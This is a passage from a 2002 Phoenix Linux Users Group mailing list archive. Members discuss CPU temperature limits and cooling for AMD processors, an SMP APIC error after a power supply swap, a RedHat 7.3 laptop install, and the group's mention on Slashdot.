<20020617044444.66586.qmail@web11508.mail.yahoo.com> Message-ID: <3D0D7312.1ECCB694@qwest.net> What was the power rating of the old PS that got replaced? Mark Astrauskas wrote: > > I have a system running a Tyan Tiger 133 with 2 > P3/700's. It ran fine until yesterday. I swapped the > power supply for a 300w, and now after its done > booting and loading it simply continously scrolls: > "APIC error on CPU1: 08(08)" What exactly is causing > this? I do not have a spare PSU for it at the moment > to swap out again. Is it possibly the power supply is > bad, or what? Anything else it might be. > > -A.P. Etc > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 11:26:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 17 Jun 2002 07:26:44 -0400 Subject: CPU Temperature Monitoring & Limits Message-ID: <3D0DC774.EEC22736@georgetoft.com> Where can I find recommended CPU temperature limits for an AMD Duron? I have the AMD Duron Processor 3 Technical Specification Sheets, and all it says is "Maximum die temperature 90C." Recognizing there is a thermal gradient between the CPU and the temperature sensor, does anyone have any ideas what the maximum temperature I should experience for a healthy PC? I have not found any concrete numbers on the 'Net. I configured "sensors" yesterday, and wrote a script to log system load and CPU temp over time, which results in this output: 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps (As you can see, I also incorporated tracking network traffic from a previous thread as well. This script is located on my web site.) I then ran the machine ragged playing an AVI movie in full-screen mode for over 1.5 hours. The CPU temperature reached 127F and held steady. I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound like reasonable values? Obviously, cooler is better, but I don't have $200 for a liquid cooling system. Thanks in advance. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 16:45:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Mon, 17 Jun 2002 12:45:10 -0400 Subject: Need Help with Redhat 7.3 Install Message-ID: <20020617164510.JUSY3097.lakemtao02.cox.net@smtp.east.cox.net> I had RH7.0 running on my laptop and I installed RH 7.3 from CDs. However, I cannot get the pcmcia services to work, so I cannot connect to my network. I have to be out of town this weekend, or I would come to the install-fest for help. If anyone is willing to spend some time with me getting my laptop up and running, please call me on my cell 602 524-0376. My work laptop was stolen from my car, so I am trying to get my old laptop upgraded and working. Since I cannot get on the 'net I am sending this email from the library, so I will not be able to respond to this email! Thanks! Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 16:52:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Astrauskas) Date: Mon, 17 Jun 2002 09:52:42 -0700 (PDT) Subject: SMP problem In-Reply-To: <3D0D7312.1ECCB694@qwest.net> Message-ID: <20020617165242.4460.qmail@web11507.mail.yahoo.com> > What was the power rating of the old PS that got > replaced? Both the new and old ones were 300w. I just swapped them because I needed the physically smaller one that was originally in the system for a specific job. -A.P. Etc __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:04:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Mon, 17 Jun 2002 13:04:51 -0400 Subject: CPU Temperature Monitoring & Limits Message-ID: Man I hate to get started on this subject. I built a AthlonXP with the problem below: "amd 2100+ asus a7v333 pc-3000 512mb cl 2.0 @2,2,2,5T gforce 3 PNY (not a TI card) 4 ata/133 Maxtor 40g drives two are Raid level 0 volcano 7+ Heat sink fan 6500rpm/copper heat sink 4 intake fans three exit fans including power supply 350watt power supply. latest bios 1007 artic silver goop Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. At any rate the box is fast, very fast, but my question is its running hot, and no mater what I have tried it still runs hot. Idle about 57°c and 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what I have done. I have tried two different Asus a7v333 mobo, same temp readings, two different 2100+ processors, two different 350watt power supplies, i have tried the oem heat sink & fan that came with it and my volcano 7+ runs faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s with my setup. My room Temp is about 80-82°F. I replaced all the fans in the chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow along with the power supply that has the extra fan in it. All my cables are tied off and out of the way for maximum air flow. But the damn thing runs hot. I'm reasonably sure that I'm not overclocking anything. vcore 1.75 cpu/pcibus 133/33 cpu/mem raio 4:5" After I did some research, Asus stands behind thier boards and said any temp below 70°c is fine. I'm still not to happy about my temp being in the 60s. But I have been running this computer for over a 4week and I have not had it crash yet, even after 8hours of compiling. http://unixmafia.port5.com/news/00211001.html <--- this guy had the same problem just with an older board, and I have that board at it to runs at 60°c all the time. Does anyone else run any asus mobo? jon Original Message: ----------------- From: George Toft george@georgetoft.com Date: Mon, 17 Jun 2002 07:26:44 -0400 To: plug-discuss@lists.plug.phoenix.az.us Subject: CPU Temperature Monitoring & Limits Where can I find recommended CPU temperature limits for an AMD Duron? I have the AMD Duron Processor 3 Technical Specification Sheets, and all it says is "Maximum die temperature 90C." Recognizing there is a thermal gradient between the CPU and the temperature sensor, does anyone have any ideas what the maximum temperature I should experience for a healthy PC? I have not found any concrete numbers on the 'Net. I configured "sensors" yesterday, and wrote a script to log system load and CPU temp over time, which results in this output: 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps (As you can see, I also incorporated tracking network traffic from a previous thread as well. This script is located on my web site.) I then ran the machine ragged playing an AVI movie in full-screen mode for over 1.5 hours. The CPU temperature reached 127F and held steady. I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound like reasonable values? Obviously, cooler is better, but I don't have $200 for a liquid cooling system. Thanks in advance. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:37:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 17 Jun 2002 10:37:54 -0700 Subject: PLUG Quick References Message-ID: <02061710375424.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I thought that Bill's Vi quick reference is really good so I decided to change the Resources category on the PlugPresents web site to a Quick Reference category. I have asked Bill if I can link to his cool Vi reference page. Anyone else have a quick reference that they want to put up there? With a little work, PlugPresents can become the premiere reference site for Linux users in Phoenix, Arizona, the southwest, heck, maybe the world. I have even asked Vic to put a link to PlugPresents on the PLUG website so that more people can find it. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQ4ecisk3ywszI1FEQL5kgCgweBSoA1LBzRfUUzF4VP1UDCwtIAAnRGt Lx9+xs+2QBvXmupKVJDYvJCq =9SyJ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:46:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 10:46:53 -0700 (PDT) Subject: PLUG on Slashdot Message-ID: I just noticed on Slashdot this morning that we're featured in regards to the Maricopa County thread: http://slashdot.org From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:47:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Blake Barnett) Date: 17 Jun 2002 10:47:39 -0700 Subject: PLUG is famous! Message-ID: <1024336060.29230.2.camel@shiva.soulmachine.com> Well... sort of: http://slashdot.org/articles/02/06/17/1651231.shtml?tid=103 Geek famous anyway.. hehe -- Blake Barnett (bdb) Sr. Unix Administrator DevelopOnline.com office: 480-377-6816 Learning is a skill, you get better at it with practice. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:58:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle O'Malley) Date: Mon, 17 Jun 2002 10:58:09 -0700 Subject: items for sale In-Reply-To: <5.1.0.14.0.20020616181121.00acd7f0@localhost> References: <5.1.0.14.0.20020616181121.00acd7f0@localhost> Message-ID: <20020617175809.GA27125@aries.evilmascot.com> Eh, how much were you thinking for the 1600? I've got $50. -Kyle On Sun, Jun 16, 2002 at 06:23:36PM -0700, Kimi A. Adams wrote: > Although I have updated my ad on www.forsale.unitywave.com, it doesn't > allow for the amount of items that I have to list. > > So here is the list: http://www.unitywave.com/~office/index.html it's in > a decent printable form as well for those that want to print it. > > Call me with offers. Can someone please come get the whole lot? Pricing > is pretty rock bottom, but I will take $225 for the whole lot. We do not > deliver. I need the space in the next month, so if we cannot sell it here, > it might be at the next swap meet or a garage sale in September. > > Kimi Adams > Unity Wave > 602-375-5363 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:59:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Mon, 17 Jun 2002 10:59:37 -0700 Subject: PLUG is famous! Message-ID: <7D2FB294FA311F4299D03CC8D390437071657B@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_KA/Kr2oaTCEbjUfxIdmqvg) Content-type: text/plain; charset="iso-8859-1" Can the servers withstand the slashdot effect? batten down the zombie processes, release the squid cache! Man I'm a dork. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: Blake Barnett [mailto:blake.barnett@developonline.com] Sent: Monday, June 17, 2002 10:48 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: PLUG is famous! Well... sort of: http://slashdot.org/articles/02/06/17/1651231.shtml?tid=103 Geek famous anyway.. hehe -- Blake Barnett (bdb) Sr. Unix Administrator DevelopOnline.com office: 480-377-6816 Learning is a skill, you get better at it with practice. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_KA/Kr2oaTCEbjUfxIdmqvg) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: PLUG is famous!

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Well... sort of:
http://slashdot.org/articles/02/06/17/1651231.shtml?ti= d=3D103

Geek famous anyway.. hehe
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= --Boundary_(ID_KA/Kr2oaTCEbjUfxIdmqvg)-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:58:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Mon, 17 Jun 2002 10:58:15 -0700 Subject: CPU Temperature Monitoring & Limits Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DE8@azmscorp01.corp.azms> Any thing cooling those drives? Larry -----Original Message----- From: jon@unfm00.com [mailto:jon@unfm00.com] Sent: Monday, June 17, 2002 10:05 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: CPU Temperature Monitoring & Limits Man I hate to get started on this subject. I built a AthlonXP with the problem below: "amd 2100+ asus a7v333 pc-3000 512mb cl 2.0 @2,2,2,5T gforce 3 PNY (not a TI card) 4 ata/133 Maxtor 40g drives two are Raid level 0 volcano 7+ Heat sink fan 6500rpm/copper heat sink 4 intake fans three exit fans including power supply 350watt power supply. latest bios 1007 artic silver goop Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. At any rate the box is fast, very fast, but my question is its running hot, and no mater what I have tried it still runs hot. Idle about 57°c and 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what I have done. I have tried two different Asus a7v333 mobo, same temp readings, two different 2100+ processors, two different 350watt power supplies, i have tried the oem heat sink & fan that came with it and my volcano 7+ runs faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s with my setup. My room Temp is about 80-82°F. I replaced all the fans in the chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow along with the power supply that has the extra fan in it. All my cables are tied off and out of the way for maximum air flow. But the damn thing runs hot. I'm reasonably sure that I'm not overclocking anything. vcore 1.75 cpu/pcibus 133/33 cpu/mem raio 4:5" After I did some research, Asus stands behind thier boards and said any temp below 70°c is fine. I'm still not to happy about my temp being in the 60s. But I have been running this computer for over a 4week and I have not had it crash yet, even after 8hours of compiling. http://unixmafia.port5.com/news/00211001.html <--- this guy had the same problem just with an older board, and I have that board at it to runs at 60°c all the time. Does anyone else run any asus mobo? jon Original Message: ----------------- From: George Toft george@georgetoft.com Date: Mon, 17 Jun 2002 07:26:44 -0400 To: plug-discuss@lists.plug.phoenix.az.us Subject: CPU Temperature Monitoring & Limits Where can I find recommended CPU temperature limits for an AMD Duron? I have the AMD Duron Processor 3 Technical Specification Sheets, and all it says is "Maximum die temperature 90C." Recognizing there is a thermal gradient between the CPU and the temperature sensor, does anyone have any ideas what the maximum temperature I should experience for a healthy PC? I have not found any concrete numbers on the 'Net. I configured "sensors" yesterday, and wrote a script to log system load and CPU temp over time, which results in this output: 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps (As you can see, I also incorporated tracking network traffic from a previous thread as well. This script is located on my web site.) I then ran the machine ragged playing an AVI movie in full-screen mode for over 1.5 hours. The CPU temperature reached 127F and held steady. I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound like reasonable values? Obviously, cooler is better, but I don't have $200 for a liquid cooling system. Thanks in advance. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:58:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 10:58:23 -0700 (PDT) Subject: PLUG is famous! In-Reply-To: <1024336060.29230.2.camel@shiva.soulmachine.com> Message-ID: Now if we could get some news organizations (non-geek) to write about this, we'd be set... start off with local news, which would get picked up by national news... there'd be so much publicity surrounding this that Maricopa County would have a REALLY hard time ignoring the laws. :-) ~M On 17 Jun 2002, Blake Barnett wrote: > Well... sort of: > http://slashdot.org/articles/02/06/17/1651231.shtml?tid=103 > > Geek famous anyway.. hehe > -- > Blake Barnett (bdb) > Sr. Unix Administrator > DevelopOnline.com office: 480-377-6816 > > Learning is a skill, you get better at it with practice. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:09:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 11:09:31 -0700 Subject: CPU Temperature Monitoring & Limits References: <2AAC72149C827944B96C854ABD0BCAFF1A4DE8@azmscorp01.corp.azms> Message-ID: <008a01c2162a$20feeb50$6501a8c0@drghastly> I have almost the exact same set up you do, except I have a 1800+. Your CPU is running at normal temperature. They just run freaking hot as hell. The only thing you can do is water cool it to get it to a lower temp. Otherwise your pretty much SOL. That is the reason, in fact, I am switching to a P4 1.6B (cause you can OC the hell out of it) at it runs about 90 degrees farenheit, standard. I do not need a heat lamp for a PC. ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 10:58 AM Subject: RE: CPU Temperature Monitoring & Limits > Any thing cooling those drives? > > Larry > > -----Original Message----- > From: jon@unfm00.com [mailto:jon@unfm00.com] > Sent: Monday, June 17, 2002 10:05 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: RE: CPU Temperature Monitoring & Limits > > > Man I hate to get started on this subject. I built a AthlonXP with the problem below: > > "amd 2100+ > asus a7v333 > pc-3000 512mb cl 2.0 @2,2,2,5T > gforce 3 PNY (not a TI card) > 4 ata/133 Maxtor 40g drives two are Raid level 0 > volcano 7+ Heat sink fan 6500rpm/copper heat sink > 4 intake fans three exit fans including power supply > 350watt power supply. > latest bios 1007 > artic silver goop > > Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. > > At any rate the box is fast, very fast, but my question is its running hot, and no mater what I have tried it still runs hot. Idle about 57°c and 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what I have done. > > I have tried two different Asus a7v333 mobo, same temp readings, two different 2100+ processors, two different 350watt power supplies, i have tried the oem heat sink & fan that came with it and my volcano 7+ runs faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s with my setup. My room Temp is about 80-82°F. I replaced all the fans in the chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow along with the power supply that has the extra fan in it. All my cables are tied off and out of the way for maximum air flow. But the damn thing runs hot. I'm reasonably sure that I'm not overclocking anything. > vcore 1.75 > cpu/pcibus 133/33 > cpu/mem raio 4:5" > > After I did some research, Asus stands behind thier boards and said any temp below 70°c is fine. I'm still not to happy about my temp being in the 60s. But I have been running this computer for over a 4week and I have not had it crash yet, even after 8hours of compiling. > > http://unixmafia.port5.com/news/00211001.html <--- this guy had the same problem just with an older board, and I have that board at it to runs at 60°c all the time. > > Does anyone else run any asus mobo? > > jon > > Original Message: > ----------------- > From: George Toft george@georgetoft.com > Date: Mon, 17 Jun 2002 07:26:44 -0400 > To: plug-discuss@lists.plug.phoenix.az.us > Subject: CPU Temperature Monitoring & Limits > > > Where can I find recommended CPU temperature limits for an AMD Duron? I > have the AMD Duron Processor 3 Technical Specification Sheets, and all > it says is "Maximum die temperature 90C." Recognizing there is a > thermal gradient between the CPU and the temperature sensor, does anyone > have any ideas what the maximum temperature I should experience for a > healthy PC? I have not found any concrete numbers on the 'Net. > > I configured "sensors" yesterday, and wrote a script to log system load > and CPU temp over time, which results in this output: > 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps > 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps > 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps > 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps > 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps > 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps > 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps > 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps > 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps > 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps > 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps > 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps > 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps > 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps > > (As you can see, I also incorporated tracking network traffic from a > previous thread as well. This script is located on my web site.) > > I then ran the machine ragged playing an AVI movie in full-screen mode > for over 1.5 hours. The CPU temperature reached 127F and held steady. > I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound > like reasonable values? Obviously, cooler is better, but I don't have > $200 for a liquid cooling system. > > Thanks in advance. > > George > > -- > If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html > because it wasn't me! > -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -------------------------------------------------------------------- > mail2web - Check your email from the web at > http://mail2web.com/ . > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:31:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Mon, 17 Jun 2002 11:31:44 -0700 (MST) Subject: PLUG on Slashdot In-Reply-To: Message-ID: Perhaps the Arizona Center for Law in the Public Interest would have something to say about enforcement of current policy and law? http://www.aclpi.org/ They have a bit of a reputation fighting for enforcement of ignored laws... ---------------------------- On Mon, 17 Jun 2002, Matt Alexander wrote: I just noticed on Slashdot this morning that we're featured in regards to the Maricopa County thread: http://slashdot.org ________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:40:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Mon, 17 Jun 2002 14:40:55 -0400 Subject: CPU Temperature Monitoring & Limits Message-ID: my four intake 80mm fans are blowing right on them! plus my Raid drives are in hotswap bays with fans in them. Original Message: ----------------- From: Larry Lauer llauer@azmotorsports.com Date: Mon, 17 Jun 2002 10:58:15 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: CPU Temperature Monitoring & Limits Any thing cooling those drives? Larry -----Original Message----- From: jon@unfm00.com [mailto:jon@unfm00.com] Sent: Monday, June 17, 2002 10:05 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: CPU Temperature Monitoring & Limits Man I hate to get started on this subject. I built a AthlonXP with the problem below: "amd 2100+ asus a7v333 pc-3000 512mb cl 2.0 @2,2,2,5T gforce 3 PNY (not a TI card) 4 ata/133 Maxtor 40g drives two are Raid level 0 volcano 7+ Heat sink fan 6500rpm/copper heat sink 4 intake fans three exit fans including power supply 350watt power supply. latest bios 1007 artic silver goop Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. At any rate the box is fast, very fast, but my question is its running hot, and no mater what I have tried it still runs hot. Idle about 57°c and 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what I have done. I have tried two different Asus a7v333 mobo, same temp readings, two different 2100+ processors, two different 350watt power supplies, i have tried the oem heat sink & fan that came with it and my volcano 7+ runs faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s with my setup. My room Temp is about 80-82°F. I replaced all the fans in the chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow along with the power supply that has the extra fan in it. All my cables are tied off and out of the way for maximum air flow. But the damn thing runs hot. I'm reasonably sure that I'm not overclocking anything. vcore 1.75 cpu/pcibus 133/33 cpu/mem raio 4:5" After I did some research, Asus stands behind thier boards and said any temp below 70°c is fine. I'm still not to happy about my temp being in the 60s. But I have been running this computer for over a 4week and I have not had it crash yet, even after 8hours of compiling. http://unixmafia.port5.com/news/00211001.html <--- this guy had the same problem just with an older board, and I have that board at it to runs at 60°c all the time. Does anyone else run any asus mobo? jon Original Message: ----------------- From: George Toft george@georgetoft.com Date: Mon, 17 Jun 2002 07:26:44 -0400 To: plug-discuss@lists.plug.phoenix.az.us Subject: CPU Temperature Monitoring & Limits Where can I find recommended CPU temperature limits for an AMD Duron? I have the AMD Duron Processor 3 Technical Specification Sheets, and all it says is "Maximum die temperature 90C." Recognizing there is a thermal gradient between the CPU and the temperature sensor, does anyone have any ideas what the maximum temperature I should experience for a healthy PC? I have not found any concrete numbers on the 'Net. I configured "sensors" yesterday, and wrote a script to log system load and CPU temp over time, which results in this output: 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps (As you can see, I also incorporated tracking network traffic from a previous thread as well. This script is located on my web site.) I then ran the machine ragged playing an AVI movie in full-screen mode for over 1.5 hours. The CPU temperature reached 127F and held steady. I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound like reasonable values? Obviously, cooler is better, but I don't have $200 for a liquid cooling system. Thanks in advance. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. 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PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 